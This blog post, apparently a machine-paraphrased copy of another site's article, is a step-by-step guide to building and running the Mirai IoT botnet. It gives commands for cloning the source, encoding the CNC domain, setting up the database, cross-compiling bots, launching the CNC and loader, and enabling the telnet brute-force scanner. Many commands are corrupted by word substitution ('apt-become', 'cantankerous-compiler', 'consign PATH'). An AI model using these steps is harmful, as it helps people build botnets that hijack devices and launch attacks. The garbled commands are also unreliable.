How To Set Up A Botnet
I. Preparation
1.Mirai uses two programming languages, C and Go, to store information in a database, then the following commands are required for the software to be installed in advance:
sudo apt-get install git sudo apt-become install gcc sudo apt-go install golang sudo apt-go install electric-debate sudo apt-get install mysql-server mysql-customer
ii. Download the source code
git clone https:// github.com/jgamblin/Mirai-Source-Code
3. Modify parameters and configure CNC
cd mirai/tools && gcc enc.c -o enc.out // Compile enc Executable for ip Address XOR ./enc.out string cnc.changeme.com // Will render a string of "\x"String (really encrypted) cnc.changeme.com) ./enc.out cord report.changeme.com // Will return a string of "\x"Grapheme string
Replace the'\x'string in the tables.c file for rows 18 and 21 and another parameter subsequently it
Think: to modify two parameters!(\x string and subsequent length parameters)
four. Configure the database
cd ../../scripts // Get into script Catalog gedit db.sql // Edit Big db.sql file
Add use mirai; see below
service mysql outset // start-up Mysql service true cat db.sql | mysql -uroot -proot mysql -uroot -proot // Both with username and countersign`root`Log on to the database INSERT INTO users VALUES (NULL, ' mirai-user ', ' mirai-pass ', 0, 0, 0, 0, -i, 1, 30, ''); // Added Users exit // Sign out
Modify the user name and password in mirai/cnc/main.go every bit set.Modified as follows
5. Configure the cross-compilation environment
cd .. && mkdir cross-compmile-bin // Here is the`Mirai-Source-Code`New nether Catalog cd cross-compile-bin
Download the post-obit 11 compressed packages
wget https: // www.uclibc.org/downloads/binaries/0.ix.xxx.1/cross-compiler-armv4l.tar.bz2 wget https: // www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2 wget https: // www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 wget https: // www.uclibc.org/downloads/binaries/0.9.thirty.1/cross-compiler-i686.tar.bz2 wget https: // world wide web.uclibc.org/downloads/binaries/0.nine.30.1/cross-compiler-m68k.tar.bz2 wget https: // world wide web.uclibc.org/downloads/binaries/0.nine.30.1/cross-compiler-mips.tar.bz2 wget https: // www.uclibc.org/downloads/binaries/0.nine.xxx.1/cross-compiler-mipsel.tar.bz2 wget https: // www.uclibc.org/downloads/binaries/0.9.xxx.1/cross-compiler-powerpc.tar.bz2 wget https: // www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 wget https: // www.uclibc.org/downloads/binaries/0.9.30.1/cantankerous-compiler-sparc.tar.bz2 wget https: // www.uclibc.org/downloads/binaries/0.9.30.1/cantankerous-compiler-x86_64.tar.bz2
(It may driblet very slowly.I'll put i under me here.Links: https://pan.baidu.com/s/1Z89uaV7boW2SRjIv6Y0Iig
Extraction Lawmaking: 7o34)
cd ../scripts sudo ./cross-compile.sh
The compilation process will prompt if mysql is installed or not
gedit ~/.bashrc // Open environment variable
Put the post-obit at the end
consign PATH=$PATH:/etc/xcompile/armv4l/bin export PATH=$PATH:/etc/xcompile/armv5l/bin export PATH=$PATH:/etc/xcompile/armv6l/bin export PATH=$PATH:/etc/xcompile/i586/bin consign PATH=$PATH:/etc/xcompile/m68k/bin export PATH=$PATH:/etc/xcompile/mips/bin export PATH=$PATH:/etc/xcompile/mipsel/bin export PATH=$PATH:/etc/xcompile/powerpc/bin export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin consign PATH=$PATH:/etc/xcompile/sh4/bin consign PATH=$PATH:/etc/xcompile/sparc/bin consign GOPATH=$HOME/go
source ~/.bashrc // Refresh environment variables
6. Compile CNC and bot
get get github.com/become-sql-commuter/mysql go get github.com/mattn/get-shellwords cd ../mirai ./build.sh debug telnet cd ../loader ./build.sh
The environs is now fully configured.
two. Description
Equipment condition:
Estimator A: As the kickoff infected device.Run. /mirai.dbg on port 48101 for browse blasting.
Computer B: Every bit CNC&Loader.
CNC: Run on ports 23 and 101 respectively. /cnc sends set on instructions and maintains connection with bot.
Loader: Runs on port 48101. /scanList continuously listening.
Connection:
1PC A and B connect the dormitory LAN through wifi.
two Cameras A and B use switches to connect with dormitory routers.
The ultimate goal is to ensure that the four devices are connected to each other on the same network.
3. Testing
1. A little adjustment is needed
Since the cnc startup occurs in the / debug/cnc directory, the source lawmaking writes the absolute path.(as shown below)
Then nosotros moved prompt.txt from the mirai directory to / debug/cnc.
Figure
ii. Start CNC (Figurer B)
go build -o debug/cnc cnc/* .go //Run under mirai directory ./debug/cnc
Get the motion picture:
Open a new terminal to try to connect (Administrator privileges may be required)
Later on getting the post-obit prompt, press Enter over again and enter your username password to log in
Getting feedback from the paradigm below indicates successful login!
3 First loader (PC B)
cd mirai/debug sudo ./scanListen
By looking at port 48101, you tin see that the port is running the program
netstat -lput // View port instructions
4 Start the scanning program (Reckoner A)
Since the source lawmaking turns scanner off by default in debug fashion, comments on lines 157 and 162 in bot/main.c will run.
Then recompile the run
Run under the mirai directory equally follows
Run every bit follows in the mirai/debug directory (exist careful to utilize ambassador privileges here)
The browse will starting time as follows:
5 Control Scan ip
Since an ip is randomly institute in the source code to explode (starting at line 674 mirai/bot/scanner.c), it is temporarily possible to set an ip address scan after modifying the code.Later on modification, the kickoff fixed bit is''10', the result is equally follows:
Reference resources:
https://www.cdxy.me/?p=746
https://world wide web.cdxy.me/?p=748
Source: https://programmer.group/mirai-botnet-environment-setup-steps.html
0 Response to "How To Set Up A Botnet"
Post a Comment